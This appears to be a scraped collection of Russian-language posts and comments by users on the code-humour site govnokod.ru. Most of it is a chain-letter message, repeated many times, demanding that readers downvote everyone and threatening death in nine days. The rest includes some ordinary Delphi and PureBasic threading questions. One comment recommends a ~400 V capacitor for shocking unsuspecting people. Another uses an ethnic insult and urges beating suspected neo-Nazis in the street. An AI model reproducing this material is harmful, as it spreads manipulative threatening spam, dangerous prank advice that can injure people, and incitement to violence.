  1280. минусуя других участников ты воспитываешь в себе чувство меры и помогаешь обществу снижать ЧСВ.
  1281. Заранее спасибо, друг мой. Ты будешь вознагражден за это деяние!
  1282.  
  1283. Тот, кто покинул страницу, но не выполнил моей просьбы, умрет через 9 дней.
  1284.  
  1285. ########## Stertor: post http://govnokod.ru/13383 ##########
  1286. Дорогой участник! Не спеши покидать страницу. Я прошу тебя помочь:
  1287. не поленись, пройдись по всем постам, и поставь каждому участнику по минусу;
  1288. минусуя других участников ты воспитываешь в себе чувство меры и помогаешь обществу снижать ЧСВ.
  1289. Заранее спасибо, друг мой. Ты будешь вознагражден за это деяние!
  1290.  
  1291. Тот, кто покинул страницу, но не выполнил моей просьбы, умрет через 9 дней.
  1292.  
  1293. ---------- description ----------
  1294. Дорогой участник! Не спеши покидать страницу. Я прошу тебя помочь:
  1295. не поленись, пройдись по всем постам, и поставь каждому участнику по минусу;
  1296. минусуя других участников ты воспитываешь в себе чувство меры и помогаешь обществу снижать ЧСВ.
  1297. Заранее спасибо, друг мой. Ты будешь вознагражден за это деяние!
  1298.  
  1299. Тот, кто покинул страницу, но не выполнил моей просьбы, умрет через 9 дней.
  1300.  
  1301. ########## Stertor: post http://govnokod.ru/13384 ##########
  1302. Дорогой участник! Не спеши покидать страницу. Я прошу тебя помочь:
  1303. не поленись, пройдись по всем постам, и поставь каждому участнику по минусу;
  1304. минусуя других участников ты воспитываешь в себе чувство меры и помогаешь обществу снижать ЧСВ.
  1305. Заранее спасибо, друг мой. Ты будешь вознагражден за это деяние!
  1306.  
  1307. Тот, кто покинул страницу, но не выполнил моей просьбы, умрет через 9 дней.
  1308.  
  1309. ---------- description ----------
  1310. Дорогой участник! Не спеши покидать страницу. Я прошу тебя помочь:
  1311. не поленись, пройдись по всем постам, и поставь каждому участнику по минусу;
  1312. минусуя других участников ты воспитываешь в себе чувство меры и помогаешь обществу снижать ЧСВ.
  1313. Заранее спасибо, друг мой. Ты будешь вознагражден за это деяние!
  1314.  
  1315. Тот, кто покинул страницу, но не выполнил моей просьбы, умрет через 9 дней.
  1316.  
  1317. ########## Stertor: post http://govnokod.ru/13385 ##########
  1318. Дорогой участник! Не спеши покидать страницу. Я прошу тебя помочь:
  1319. не поленись, пройдись по всем постам, и поставь каждому участнику по минусу;
  1320. минусуя других участников ты воспитываешь в себе чувство меры и помогаешь обществу снижать ЧСВ.
  1321. Заранее спасибо, друг мой. Ты будешь вознагражден за это деяние!
  1322.  
  1323. Тот, кто покинул страницу, но не выполнил моей просьбы, умрет через 9 дней.
  1324.  
  1325. ---------- description ----------
  1326. Дорогой участник! Не спеши покидать страницу. Я прошу тебя помочь:
  1327. не поленись, пройдись по всем постам, и поставь каждому участнику по минусу;
  1328. минусуя других участников ты воспитываешь в себе чувство меры и помогаешь обществу снижать ЧСВ.
  1329. Заранее спасибо, друг мой. Ты будешь вознагражден за это деяние!
  1330.  
  1331. Тот, кто покинул страницу, но не выполнил моей просьбы, умрет через 9 дней.
  1332.  
  1333. ########## Stertor: post http://govnokod.ru/13386 ##########
  1334. Дорогой участник! Не спеши покидать страницу. Я прошу тебя помочь:
  1335. не поленись, пройдись по всем постам, и поставь каждому участнику по минусу;
  1336. минусуя других участников ты воспитываешь в себе чувство меры и помогаешь обществу снижать ЧСВ.
  1337. Заранее спасибо, друг мой. Ты будешь вознагражден за это деяние!
  1338.  
  1339. Тот, кто покинул страницу, но не выполнил моей просьбы, умрет через 9 дней.
  1340.  
  1341. ---------- description ----------
  1342. Дорогой участник! Не спеши покидать страницу. Я прошу тебя помочь:
  1343. не поленись, пройдись по всем постам, и поставь каждому участнику по минусу;
  1344. минусуя других участников ты воспитываешь в себе чувство меры и помогаешь обществу снижать ЧСВ.
  1345. Заранее спасибо, друг мой. Ты будешь вознагражден за это деяние!
  1346.  
  1347. Тот, кто покинул страницу, но не выполнил моей просьбы, умрет через 9 дней.
  1348.  
  1349. ########## Stertor: post http://govnokod.ru/13387 ##########
  1350. Дорогой участник! Не спеши покидать страницу. Я прошу тебя помочь:
  1351. не поленись, пройдись по всем постам, и поставь каждому участнику по минусу;
  1352. минусуя других участников ты воспитываешь в себе чувство меры и помогаешь обществу снижать ЧСВ.
  1353. Заранее спасибо, друг мой. Ты будешь вознагражден за это деяние!
  1354.  
  1355. Тот, кто покинул страницу, но не выполнил моей просьбы, умрет через 9 дней.
  1356.  
  1357. ---------- description ----------
  1358. Дорогой участник! Не спеши покидать страницу. Я прошу тебя помочь:
  1359. не поленись, пройдись по всем постам, и поставь каждому участнику по минусу;
  1360. минусуя других участников ты воспитываешь в себе чувство меры и помогаешь обществу снижать ЧСВ.
  1361. Заранее спасибо, друг мой. Ты будешь вознагражден за это деяние!
  1362.  
  1363. Тот, кто покинул страницу, но не выполнил моей просьбы, умрет через 9 дней.
  1364.  
  1365. ########## Stertor: post http://govnokod.ru/13388 ##########
  1366. Дорогой участник! Не спеши покидать страницу. Я прошу тебя помочь:
  1367. не поленись, пройдись по всем постам, и поставь каждому участнику по минусу;
  1368. минусуя других участников ты воспитываешь в себе чувство меры и помогаешь обществу снижать ЧСВ.
  1369. Заранее спасибо, друг мой. Ты будешь вознагражден за это деяние!
  1370.  
  1371. Тот, кто покинул страницу, но не выполнил моей просьбы, умрет через 9 дней.
  1372.  
  1373. ---------- description ----------
  1374. Дорогой участник! Не спеши покидать страницу. Я прошу тебя помочь:
  1375. не поленись, пройдись по всем постам, и поставь каждому участнику по минусу;
  1376. минусуя других участников ты воспитываешь в себе чувство меры и помогаешь обществу снижать ЧСВ.
  1377. Заранее спасибо, друг мой. Ты будешь вознагражден за это деяние!
  1378.  
  1379. Тот, кто покинул страницу, но не выполнил моей просьбы, умрет через 9 дней.
  1380.  
  1381. ########## Stertor: post http://govnokod.ru/13389 ##########
  1382. Дорогой участник! Не спеши покидать страницу. Я прошу тебя помочь:
  1383. не поленись, пройдись по всем постам, и поставь каждому участнику по минусу;
  1384. минусуя других участников ты воспитываешь в себе чувство меры и помогаешь обществу снижать ЧСВ.
  1385. Заранее спасибо, друг мой. Ты будешь вознагражден за это деяние!
  1386.  
  1387. Тот, кто покинул страницу, но не выполнил моей просьбы, умрет через 9 дней.
  1388.  
  1389. ---------- description ----------
  1390. Дорогой участник! Не спеши покидать страницу. Я прошу тебя помочь:
  1391. не поленись, пройдись по всем постам, и поставь каждому участнику по минусу;
  1392. минусуя других участников ты воспитываешь в себе чувство меры и помогаешь обществу снижать ЧСВ.
  1393. Заранее спасибо, друг мой. Ты будешь вознагражден за это деяние!
  1394.  
  1395. Тот, кто покинул страницу, но не выполнил моей просьбы, умрет через 9 дней.
  1396.  
  1397. ########## Stertor: post http://govnokod.ru/13390 ##########
  1398. Дорогой участник! Не спеши покидать страницу. Я прошу тебя помочь:
  1399. не поленись, пройдись по всем постам, и поставь каждому участнику по минусу;
  1400. минусуя других участников ты воспитываешь в себе чувство меры и помогаешь обществу снижать ЧСВ.
  1401. Заранее спасибо, друг мой. Ты будешь вознагражден за это деяние!
  1402.  
  1403. Тот, кто покинул страницу, но не выполнил моей просьбы, умрет через 9 дней.
  1404.  
  1405. ---------- description ----------
  1406. Дорогой участник! Не спеши покидать страницу. Я прошу тебя помочь:
  1407. не поленись, пройдись по всем постам, и поставь каждому участнику по минусу;
  1408. минусуя других участников ты воспитываешь в себе чувство меры и помогаешь обществу снижать ЧСВ.
  1409. Заранее спасибо, друг мой. Ты будешь вознагражден за это деяние!
  1410.  
  1411. Тот, кто покинул страницу, но не выполнил моей просьбы, умрет через 9 дней.
  1412.  
  1413. ########## Stertor: post http://govnokod.ru/13391 ##########
  1414. Дорогой участник! Не спеши покидать страницу. Я прошу тебя помочь:
  1415. не поленись, пройдись по всем постам, и поставь каждому участнику по минусу;
  1416. минусуя других участников ты воспитываешь в себе чувство меры и помогаешь обществу снижать ЧСВ.
  1417. Заранее спасибо, друг мой. Ты будешь вознагражден за это деяние!
  1418.  
  1419. Тот, кто покинул страницу, но не выполнил моей просьбы, умрет через 9 дней.
  1420.  
  1421. ---------- description ----------
  1422. Дорогой участник! Не спеши покидать страницу. Я прошу тебя помочь:
  1423. не поленись, пройдись по всем постам, и поставь каждому участнику по минусу;
  1424. минусуя других участников ты воспитываешь в себе чувство меры и помогаешь обществу снижать ЧСВ.
  1425. Заранее спасибо, друг мой. Ты будешь вознагражден за это деяние!
  1426.  
  1427. Тот, кто покинул страницу, но не выполнил моей просьбы, умрет через 9 дней.
  1428.  
  1429. ########## Stertor: post http://govnokod.ru/13392 ##########
  1430. Дорогой участник! Не спеши покидать страницу. Я прошу тебя помочь:
  1431. не поленись, пройдись по всем постам, и поставь каждому участнику по минусу;
  1432. минусуя других участников ты воспитываешь в себе чувство меры и помогаешь обществу снижать ЧСВ.
  1433. Заранее спасибо, друг мой. Ты будешь вознагражден за это деяние!
  1434.  
  1435. Тот, кто покинул страницу, но не выполнил моей просьбы, умрет через 9 дней.
  1436.  
  1437. ---------- description ----------
  1438. Дорогой участник! Не спеши покидать страницу. Я прошу тебя помочь:
  1439. не поленись, пройдись по всем постам, и поставь каждому участнику по минусу;
  1440. минусуя других участников ты воспитываешь в себе чувство меры и помогаешь обществу снижать ЧСВ.
  1441. Заранее спасибо, друг мой. Ты будешь вознагражден за это деяние!
  1442.  
  1443. Тот, кто покинул страницу, но не выполнил моей просьбы, умрет через 9 дней.
  1444.  
  1445. ########## Stertor: post http://govnokod.ru/13393 ##########
  1446. Дорогой участник! Не спеши покидать страницу. Я прошу тебя помочь:
  1447. не поленись, пройдись по всем постам, и поставь каждому участнику по минусу;
  1448. минусуя других участников ты воспитываешь в себе чувство меры и помогаешь обществу снижать ЧСВ.
  1449. Заранее спасибо, друг мой. Ты будешь вознагражден за это деяние!
  1450.  
  1451. Тот, кто покинул страницу, но не выполнил моей просьбы, умрет через 9 дней.
  1452.  
  1453. ---------- description ----------
  1454. Дорогой участник! Не спеши покидать страницу. Я прошу тебя помочь:
  1455. не поленись, пройдись по всем постам, и поставь каждому участнику по минусу;
  1456. минусуя других участников ты воспитываешь в себе чувство меры и помогаешь обществу снижать ЧСВ.
  1457. Заранее спасибо, друг мой. Ты будешь вознагражден за это деяние!
  1458.  
  1459. Тот, кто покинул страницу, но не выполнил моей просьбы, умрет через 9 дней.
  1460.  
  1461. ########## Stertor: post http://govnokod.ru/13394 ##########
  1462. Дорогой участник! Не спеши покидать страницу. Я прошу тебя помочь:
  1463. не поленись, пройдись по всем постам, и поставь каждому участнику по минусу;
  1464. минусуя других участников ты воспитываешь в себе чувство меры и помогаешь обществу снижать ЧСВ.
  1465. Заранее спасибо, друг мой. Ты будешь вознагражден за это деяние!
  1466.  
  1467. Тот, кто покинул страницу, но не выполнил моей просьбы, умрет через 9 дней.
  1468.  
  1469. ---------- description ----------
  1470. Дорогой участник! Не спеши покидать страницу. Я прошу тебя помочь:
  1471. не поленись, пройдись по всем постам, и поставь каждому участнику по минусу;
  1472. минусуя других участников ты воспитываешь в себе чувство меры и помогаешь обществу снижать ЧСВ.
  1473. Заранее спасибо, друг мой. Ты будешь вознагражден за это деяние!
  1474.  
  1475. Тот, кто покинул страницу, но не выполнил моей просьбы, умрет через 9 дней.
  1476.  
  1477. ########## Stertor: post http://govnokod.ru/13395 ##########
  1478. Дорогой участник! Не спеши покидать страницу. Я прошу тебя помочь:
  1479. не поленись, пройдись по всем постам, и поставь каждому участнику по минусу;
  1480. минусуя других участников ты воспитываешь в себе чувство меры и помогаешь обществу снижать ЧСВ.
  1481. Заранее спасибо, друг мой. Ты будешь вознагражден за это деяние!
  1482.  
  1483. Тот, кто покинул страницу, но не выполнил моей просьбы, умрет через 9 дней.
  1484.  
  1485. ---------- description ----------
  1486. Дорогой участник! Не спеши покидать страницу. Я прошу тебя помочь:
  1487. не поленись, пройдись по всем постам, и поставь каждому участнику по минусу;
  1488. минусуя других участников ты воспитываешь в себе чувство меры и помогаешь обществу снижать ЧСВ.
  1489. Заранее спасибо, друг мой. Ты будешь вознагражден за это деяние!
  1490.  
  1491. Тот, кто покинул страницу, но не выполнил моей просьбы, умрет через 9 дней.
  1492.  
  1493. ########## Stertor: post http://govnokod.ru/13396 ##########
  1494. Дорогой участник! Не спеши покидать страницу. Я прошу тебя помочь:
  1495. не поленись, пройдись по всем постам, и поставь каждому участнику по минусу;
  1496. минусуя других участников ты воспитываешь в себе чувство меры и помогаешь обществу снижать ЧСВ.
  1497. Заранее спасибо, друг мой. Ты будешь вознагражден за это деяние!
  1498.  
  1499. Тот, кто покинул страницу, но не выполнил моей просьбы, умрет через 9 дней.
  1500.  
  1501. ---------- description ----------
  1502. Дорогой участник! Не спеши покидать страницу. Я прошу тебя помочь:
  1503. не поленись, пройдись по всем постам, и поставь каждому участнику по минусу;
  1504. минусуя других участников ты воспитываешь в себе чувство меры и помогаешь обществу снижать ЧСВ.
  1505. Заранее спасибо, друг мой. Ты будешь вознагражден за это деяние!
  1506.  
  1507. Тот, кто покинул страницу, но не выполнил моей просьбы, умрет через 9 дней.
  1508.  
  1509. ########## Stertor: post http://govnokod.ru/13398 ##########
  1510. Дорогой участник! Не спеши покидать страницу. Я прошу тебя помочь:
  1511. не поленись, пройдись по всем постам, и поставь каждому участнику по минусу;
  1512. минусуя других участников ты воспитываешь в себе чувство меры и помогаешь обществу снижать ЧСВ.
  1513. Заранее спасибо, друг мой. Ты будешь вознагражден за это деяние!
  1514.  
  1515. Тот, кто покинул страницу, но не выполнил моей просьбы, умрет через 9 дней.
  1516.  
  1517. ---------- description ----------
  1518. Дорогой участник! Не спеши покидать страницу. Я прошу тебя помочь:
  1519. не поленись, пройдись по всем постам, и поставь каждому участнику по минусу;
  1520. минусуя других участников ты воспитываешь в себе чувство меры и помогаешь обществу снижать ЧСВ.
  1521. Заранее спасибо, друг мой. Ты будешь вознагражден за это деяние!
  1522.  
  1523. Тот, кто покинул страницу, но не выполнил моей просьбы, умрет через 9 дней.
  1524.  
  1525. ########## Stertor: post http://govnokod.ru/13364 ##########
  1526. Дорогой участник! Не спеши покидать страницу. Я прошу тебя помочь:
  1527. не поленись, пройдись по всем постам, и поставь каждому участнику по минусу;
  1528. минусуя других участников ты воспитываешь в себе чувство меры и помогаешь обществу снижать ЧСВ.
  1529. Заранее спасибо, друг мой. Ты будешь вознагражден за это деяние!
  1530.  
  1531. Тот, кто покинул страницу, но не выполнил моей просьбы, умрет через 9 дней.
  1532.  
  1533. ---------- description ----------
  1534. Дорогой участник! Не спеши покидать страницу. Я прошу тебя помочь:
  1535. не поленись, пройдись по всем постам, и поставь каждому участнику по минусу;
  1536. минусуя других участников ты воспитываешь в себе чувство меры и помогаешь обществу снижать ЧСВ.
  1537. Заранее спасибо, друг мой. Ты будешь вознагражден за это деяние!
  1538.  
  1539. Тот, кто покинул страницу, но не выполнил моей просьбы, умрет через 9 дней.
  1540.  
  1541. ########## Stertor: post http://govnokod.ru/13365 ##########
  1542. Дорогой участник! Не спеши покидать страницу. Я прошу тебя помочь:
  1543. не поленись, пройдись по всем постам, и поставь каждому участнику по минусу;
  1544. минусуя других участников ты воспитываешь в себе чувство меры и помогаешь обществу снижать ЧСВ.
  1545. Заранее спасибо, друг мой. Ты будешь вознагражден за это деяние!
  1546.  
  1547. Тот, кто покинул страницу, но не выполнил моей просьбы, умрет через 9 дней.
  1548.  
  1549. ---------- description ----------
  1550. Дорогой участник! Не спеши покидать страницу. Я прошу тебя помочь:
  1551. не поленись, пройдись по всем постам, и поставь каждому участнику по минусу;
  1552. минусуя других участников ты воспитываешь в себе чувство меры и помогаешь обществу снижать ЧСВ.
  1553. Заранее спасибо, друг мой. Ты будешь вознагражден за это деяние!
  1554.  
  1555. Тот, кто покинул страницу, но не выполнил моей просьбы, умрет через 9 дней.
  1556.  
  1557. ########## Stertor: post http://govnokod.ru/13366 ##########
  1558. Дорогой участник! Не спеши покидать страницу. Я прошу тебя помочь:
  1559. не поленись, пройдись по всем постам, и поставь каждому участнику по минусу;
  1560. минусуя других участников ты воспитываешь в себе чувство меры и помогаешь обществу снижать ЧСВ.
  1561. Заранее спасибо, друг мой. Ты будешь вознагражден за это деяние!
  1562.  
  1563. Тот, кто покинул страницу, но не выполнил моей просьбы, умрет через 9 дней.
  1564.  
  1565. ---------- description ----------
  1566. Дорогой участник! Не спеши покидать страницу. Я прошу тебя помочь:
  1567. не поленись, пройдись по всем постам, и поставь каждому участнику по минусу;
  1568. минусуя других участников ты воспитываешь в себе чувство меры и помогаешь обществу снижать ЧСВ.
  1569. Заранее спасибо, друг мой. Ты будешь вознагражден за это деяние!
  1570.  
  1571. Тот, кто покинул страницу, но не выполнил моей просьбы, умрет через 9 дней.
  1572.  
  1573. ########## Stertor: comment http://govnokod.ru/13839#comment197374 ##########
  1574. Я уже третий раз слышу это имя. Нет, ничего не знаю о вышеупомянутой личности.
  1575.  
  1576. Хотя.
  1577.  
  1578. "Нет, даже если реестр достигнет огромных размеров, то это слабо отразится на производительности, не считая поиска по всему реестру.
  1579.  
  1580. Однако, в Win2K существует ограничение на размер данных реестра, которые могут быть загружены, поэтому большие кусты профайлов могут ограничить число одновременно работающих пользователей.
  1581.  
  1582. Я никогда не разрабатывал и не собираюсь разрабатывать программы для очистки реестра, поскольку от них почти нет никакой практической пользы, кроме терминальных серверов Win2k, и разработка таких программ, которые будут надежными и эффективными, требует огромной базы знаний о всевозможных приложениях."
  1583.  
  1584. Этот человек вменяем, это хорошо.
  1585.  
  1586. ########## Stertor: comment http://govnokod.ru/13494#comment189794 ##########
  1587. Я за визуальные среды. Делфи и PureBasic, к примеру, я стал учить из-за того лишь, что среды разработки и компилятор удобные, а не от большой любви к синтаксису. Не надо вручную описывать точку входа, регистрацию оконного класса, обработчики событий, прорисовку и тп.: на это уходит время, которое можно было бы потратить на разработку основного функционала. Есть, к примеру, язык FreeBasic - синтаксис сильно напоминает VisualBasic, а работает он быстрее всех бейсиков. Так вот, в нем программу нужно создавать полностью "с нуля". Никаких готовых решений, даже дизайнера форм (не конструктора, как в Делфи) нет. Так какой смысл извращаться, кодить на этом языке? Тогда уже лучше на c++. Паскаля с его убогостью это особенно касается: зачем кодить на консолечке, если есть более удобные среды?
  1588.  
  1589. ########## Stertor: post http://govnokod.ru/14129 ##########
  1590. procedure tnewthread.checkfiles; // процедура выполняется в потоке
  1591. var
  1592. i:integer;
  1593. status:tstatus;
  1594. ptmp:array of char;
  1595. temp:string;
  1596. len:integer;
  1597. fstream:tfilestream;
  1598. begin
  1599. flist.Clear;
  1600. findfiles(findpath);
  1601. for i:=flist.Count-1 downto 0 do
  1602. begin
  1603. status:=s_ok;
  1604. try
  1605. try
  1606. fstream:=tfilestream.Create(flist[i],fmopenread);
  1607. fstream.Position:=0;
  1608. setlength(ptmp,fstream.size);
  1609. fstream.Read(pointer(ptmp)^,fstream.size);
  1610. except
  1611. status:=s_error;
  1612. end;
  1613. finally
  1614. fstream.free;
  1615. end;
  1616. temp:=string(pchar(ptmp));
  1617. temp:=stringreplace(temp,'&nbsp;',' ',[rfreplaceall]);
  1618. temp:=stringreplace(temp,'&gt;','>',[rfreplaceall]);
  1619. temp:=stringreplace(temp,'&nbsp;',' ',[rfreplaceall]);
  1620. temp:=stringreplace(temp,'&lt;','<',[rfreplaceall]);
  1621. temp:=stringreplace(temp,'&amp;','&',[rfreplaceall]);
  1622. temp:=stringreplace(temp,'&quot;','"',[rfreplaceall]);
  1623. temp:=stringreplace(temp,'&copy;',#169,[rfreplaceall]);
  1624. temp:=stringreplace(temp,#10,#13#10,[rfreplaceall]);
  1625. Len := Length(temp);
  1626. try
  1627. try
  1628. fstream:=tfilestream.Create('C:\1.txt',fmcreate); // заменил в целях теста, не помогает.
  1629. fstream.Position:=0;
  1630. fstream.WriteBuffer(temp[1], Len); // в этом месте поток вылетает с ошибкой "Range check error"
  1631. except
  1632. status:=s_error;
  1633. end;
  1634. finally
  1635. fstream.free;
  1636. end;
  1637. if status=s_ok then
  1638. begin
  1639. addfileinfo(flist[i]);
  1640. shrecyclefile(flist[i]);
  1641. end
  1642. else
  1643. begin
  1644. adderrinfo(flist[i]); // синхронизируемся с мемо и добавляем в него красную строчку с именем файла
  1645. shmovefile(flist[i],erroroutputpath +'\' + extractfilename(flist[i])); // перемещаем файл в директорию с файлами, при обр. которых произошла ошибка
  1646. end;
  1647. end;
  1648. end;
  1649.  
  1650. ---------- description ----------
  1651. Процедура для обработки текстовых файлов. Имеем дремлющий поток, залоченный waitsingleobject, который будит
  1652. таймерная функция, если в папке есть по крайней мере 1 файл. т.е. одновременно к файлам обращается 1 поток.
  1653. При разлочивании поток немедленно начинает заполнять лист именами файлов, после чего начинает прогонять их
  1654. через процедуру-обработчик. Но вот беда - возникает ошибка range check error. причем возникает только в доп.потоке -
  1655. вне потока все работает нормально. Товарищи ,не подскажете, в чем лажа? (
  1656.  
  1657. ########## Stertor: comment http://govnokod.ru/14249#comment205337 ##########
  1658. Да, я в курсе, анонимб.
  1659.  
  1660. >>Помнится, в студенческую пору была распространена известная забава. Брался электролитический конденсатор, к его выводам подпаивались проводки и в таком виде конденсатор кратковременно подключался к розетке электроосветительной сети 220 Вольт. Конденсатор заряжался, накапливая заряд. Далее, ради “прикола” выводами кондёра касались руки ни в чем не подозревающего человека. Тот, естественно, ничего не подозревает и его дёргает небольшой электрический удар.
  1661.  
  1662. Тупое быдло, о таких сам Господь плачет. Нужно брать не электролитический, а бумажный конденсатор, вольт на ~400.
  1663.  
  1664. >>Мощные электролитические конденсаторы ёмкостью 10000 мкФ. в блоке питания усилителя Marantz
  1665.  
  1666. Бля, НЕ МОЖЕТ конденсатор быть мощным!!!
  1667.  
  1668. ########## Stertor: post http://govnokod.ru/14192 ##########
  1669. Добрый день.
  1670.  
  1671. я пытаюсь сделать иконку в трее, чтоб вне зависимости видно окно программы или нет, программу можно было остановить. В моём коде не одно окно(( я так понимаю AddSysTrayIcon привязывается к окну. я попытался запустить цыкл контроля нажатия на иконку в отдельном потоке, компилятор матерится(( подскажите что не так делаю плиз? (в моём коде не один цыкл, при нажатие на определённые кнопки, открываются другие окна, и я не понял как сделать чтоб иконка в трее была постоянно((( может я вапше не правильно понимаю логику?)
  1672. Код:
  1673. Procedure.s GetSysDirectory() ; Путь к системной папке
  1674. Path.s=Space(500)
  1675. GetSystemDirectory_(@Path,500)
  1676. ProcedureReturn Path
  1677. EndProcedure
  1678.  
  1679. Procedure.s Tray()
  1680. CreatePopupMenu(0) ; Контекстное меню для трея
  1681. MenuItem(0,"Выход")
  1682. OpenWindow(0,0,0,200,100,"",#PB_Window_Invisible)
  1683. AddSysTrayIcon(1,WindowID(0),ExtractIcon_(0,GetSysDirectory()+"\shell32.dll",4))
  1684. AddWindowTimer(0,2,100)
  1685. Repeat
  1686. Event=WaitWindowEvent()
  1687. If Event=#PB_Event_SysTray
  1688. If EventType()=#PB_EventType_RightClick
  1689. DisplayPopupMenu(0,WindowID(0))
  1690. EndIf
  1691. ElseIf Event=#PB_Event_Menu
  1692. If EventMenu()=0
  1693. End
  1694. EndIf
  1695.  
  1696. EndIf
  1697. Until Event=#PB_Event_CloseWindow
  1698. EndProcedure
  1699. CreateThread(@Tray(), 0)
  1700. ;Tray()
  1701. ;Дальше код ...
  1702.  
  1703. ---------- description ----------
  1704. Да не покажутся мои слова обидны богу, но как же портит парадигму этот ваш вайсик! (
  1705. p/s/ еще каких то 6 лет назад я бы сам себе язык вырвал за эти слова.
  1706.  
  1707. ########## Stertor: comment http://govnokod.ru/14744#comment218187 ##########
  1708. Вы, русские, вообще странный народ, распиздяи. Объясняю, почему: стоят, скажем, на площади 23-25 летние придурки, и по их внешнему виду и поведению становится ясно, что они сторонники нацизма и фашистской идеологии. Люди проходят мимо, кто-то смотрит с неодобрением, кто-то выражает возмущение. И нет, чтобы подойти к ним и въебать, как следует! Один допустим, не справится - силы не равны. Но двое, пятеро, тысяча - вся страна! Попробовал бы кто-то сделать что-то в этом духе у нас, в Осетии - если бы отделался сломанной челюстью, считай, бог спас - а родственники ввек бы не отмылись от позора. Слишком хорошо все помнят войну - совсем рядом бои шли. А если кто-то под влиянием запада зажрался, и подзабыл - нужно принудительно освежить ему память.
  1709.  
  1710. ########## Stertor: post http://govnokod.ru/13494 ##########
  1711. 1
  1712. 1
  1713.  
  1714.  
  1715. Имеется графический обозреватель картинок, где мини-изображения хранятся в ImageList, а выводятся ListView (поименованные графические файлы). При открытие папок с картинками (где большое количество картинок) возникает торможение отображения. Вся программа начинает тормозить, ожидая загрузки картинок в ListView. Чтобы избежать такого, я вынес загрузку ListBox в отдельный процесс Thread. В результате возникла другая проблема: при загрузке картинок, часть загружается просто черными квадратами. Как избавиться от этого неприятного эффекта?
  1716.  
  1717. Код выбора папки для дальнейшего просмотра содержимого:
  1718.  
  1719. procedure TForm1.DirectoryListBox1Change(Sender: TObject);
  1720. begin
  1721. Form1.ListView1.Clear;
  1722. Form1.ImageList1.Clear;
  1723. NewThread:=TNewThread.Create(false);
  1724. NewThread.FreeOnTerminate:=true;
  1725. NewThread.Priority:=tpHighest;
  1726. NewThread.Resume;
  1727. end;
  1728.  
  1729. Код отдельно выделенного процесса:
  1730.  
  1731. procedure TNewThread.Execute;
  1732. begin
  1733. Form1.FillListView(form1.DirectoryListBox1.Directory , '*.jpg');
  1734. Form1.FillListView(form1.DirectoryListBox1.Directory, '*.bmp');
  1735. end;
  1736.  
  1737. И наконец код обработки графических файлов с последующей загрузкой в ListBox:
  1738.  
  1739. procedure TForm1.fillListView(path: string; mask: string = '*.jpg');
  1740. var
  1741. sr: TSearchRec;
  1742. img: TPicture;
  1743. bmp: TBitmap;
  1744. pic: TBitMap;
  1745. x,y: integer;
  1746. begin
  1747. img := TPicture.Create;
  1748. bmp := TBitMap.Create;
  1749. pic := TBitMap.Create;
  1750.  
  1751. With Form1 do
  1752. if FindFirst(path +'\'+mask, faAnyFile, sr) = 0 then
  1753. begin
  1754. repeat
  1755. if (sr.Name<>'.') and (sr.Name<>'..') and (sr.Attr<>faDirectory) then
  1756. //if (sr.Attr and $20) = $20 then
  1757. begin
  1758. try
  1759. img.LoadFromFile(path +'\'+ sr.Name);
  1760. except
  1761. Continue;
  1762. end;
  1763. bmp.Assign(img.Graphic);
  1764. x:=bmp.Width;
  1765. y:=bmp.Height;
  1766. pic.Width := ImageList1.Width;
  1767. pic.Height:= ImageList1.Height;
  1768. pic.Canvas.Brush.Color :=clWhite;
  1769. pic.Canvas.FillRect(Canvas.ClipRect);
  1770. pic.Canvas.StretchDraw(Rect(0,0,pic.Width, Round((pic.Height*y)/x)), bmp);
  1771. ImageList1.Add(pic, nil);
  1772.  
  1773. with ListView1.Items.Add do
  1774. begin
  1775. Caption := sr.Name;
  1776. ImageIndex := ListView1.Items.Count-1;
  1777. end;
  1778. end;
  1779. until FindNext(sr) <> 0;
  1780. FindClose(sr);
  1781. end;
  1782. img.Free;
  1783. bmp.Free;
  1784. pic.Free;
  1785. end;
  1786.  
  1787. ---------- description ----------
  1788. Не сопротивляйся, смерть сладка.
  1789.  
  1790. http://hashcode.ru/questions/86688/delphi-%D1%80%D0%B0%D0%B1%D0%BE%D1%82%D0%B0-%D1%81-listview-%D0%B2-%D0%B4%D0%B5%D0%BB%D1%84%D0%B8
  1791.  
  1792. ########## void_main: comment http://govnokod.ru/20487#comment343655 ##########
  1793. Говорить и роптать не хотелось, сил не было. Вдруг над нами выросла тень. Я вскинул голову и увидел Потогон. Она подошла незаметно и теперь стояла, чуть покачиваясь на высоких каблуках. -Ну что, получили по пятёрке? -изрекла она. Когда она ушла, на снегу ещё долго были видны черные, глубокие следы от ее сапогов... Со мной и моими сокурсниками обошлось. Правда, не со всеми. Было исключено почти 14 человек... Что с ними сталось? Нашли ли они свой жизненный путь, или так и остались у начала?.. Мне об этом ничего не известно. Прошло много лет... Потогон сместили за взятки, многое изменилось, но я долго ещё буду помнить, свои романтические мысли, посещавшие меня, когда я сидел на той лавочке, уютно прислонившись к кому-то спиной.
  1794.  
  1795. ########## Stertor: comment http://govnokod.ru/15360#comment220444 ##########
  1796. Тебе я давно предлагал начать нормальное общение. Человек ты далеко не глупый; я не могу сказать, что ты туп(возможно, ты даже превосходишь меня по уровню интеллекта), но могу смело послать к психиатру, чтобы он проверил твое душевное состояние. Ведь возьмите шизофрению: очень распространенное заболевание, а интеллект при этом не страдает. К вам на улице может пристать профессор-шизофреник, и начать городить чушь; но эта чушь будет сказана на научном языке, с использованием сложносочиненных предложений, как в философских книгах. Однако, вы его не поймете, потому, что будет отсутствовать общая мысль, связывающая все сказанное. Вот и я не понимаю: человек ты, вроде, умный, а по поступкам не очень.
  1797.  
  1798. ########## Stertor: comment http://govnokod.ru/14491#comment216087 ##########
  1799. >>Могут ли кавычки вкладываться друг в друга?
  1800. Нет, не могут.
  1801.  
  1802. >>В кавычках одно слово или может быть целое предложение?
  1803. Это не известно заранее.
  1804.  
  1805. >>Как отличить фразу в кавычках от фразы между закрывающей и открывающей кавычкой?
  1806. это одно и то же.
  1807.  
  1808. Вообще как отличить открывающую кавычку от закрывающей? По чётности её номера в тексте или есть другие признаки?
  1809. Просто брать кусок строки от 1 попавшейся кавычки до второй, затем искать новое аналогичное вхождение, не учитывая позиции второй(закрывающей) кавычки, в уже найденном.
  1810. зеленым показано то, что должно захватывать регулярка, красным - то, что не должна:
  1811.  
  1812.  
  1813. какой-то "текст в кавычках" или любой другой "текст"
  1814.  
  1815. какой-то """""текст в кавычках" или любой другой "текст""""""""""
  1816.  
  1817. ########## void_main: comment http://govnokod.ru/17641#comment347111 ##########
  1818. Очень хочу посмотреть фильм, но не знаю его название. Фильм советский, русскоязычный.
  1819. Я точно не знаю о чем он, помню только последние кадры, но очень хочу посмотреть. Может, кто-то вспомнит?
  1820.  
